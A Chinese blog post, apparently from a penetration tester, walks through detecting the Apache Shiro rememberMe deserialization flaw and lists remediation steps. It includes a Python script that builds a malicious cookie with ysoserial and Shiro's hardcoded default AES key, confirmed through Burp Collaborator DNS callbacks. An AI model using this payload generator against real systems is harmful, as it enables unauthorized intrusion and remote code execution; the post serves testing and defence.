讲一下笔者今天在渗透测试过程中遇到的Shiro反序列化漏洞的利用过程。
首先为大家介绍一下shiro反序列化漏洞。Apache Shiro是Java的一个安全框架。对比另一个安全框架Spring Sercurity,它更简单和灵活。在2016年中该框架爆出重大安全问题,shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
图1 shiro框架网站Shiro反序列化漏洞检测过程:
1.下载ysoserial
wgethttps://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
2.构造恶意请求数据
反转CookieRememberMeManager的处理流程进行恶意请求数据构造,首先使用ysoserial将恶意数据进行序列化,其次将序列化后的数据进行AES加密,然后将AES密文进行BASE64编码,最后得到精心构造的包含恶意请求的rememberMe内容。以上过程均可通过python脚本来实现,脚本如下:
图2 成功生成恶意rememberMe内容import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={}".format(payload.decode())
3.接收服务器请求
使用burpsuite自带的“collaborator client”DNS隧道利用工具,用来接收服务器的DNS查询。
图3 burp collaborator4.发送请求
图4 发送请求5. 成功收到请求
图5 成功利用接收到来自服务器的DNS请求后就证明了该服务器确实存在shiro反序列化漏洞且能够利用。
修复建议:
1.将shiro升级到1.2.4之后的版本。
2.在代码仓库中搜索
关键字:
securityManager.setRememberMeManager(rememberMeManager);+setCipherKey(Base64.decode("
排查是否有框架整合了shiro,是否使用了存在漏洞的代码。如果发现请删除securityManager.setRememberMeManager(rememberMeManager);或者修改key,确保key的唯一性。
3.将shiro整理到危险框架名单中,对新业务使用shiro以及响应的整合,需要做安全提示,降低未来存在漏洞的风险。
4.代码审计中添加响应规则,不仅要检测pom.xml中shiro的版本,也要检查代码中是否包含这段官方删除掉的代码。
网友评论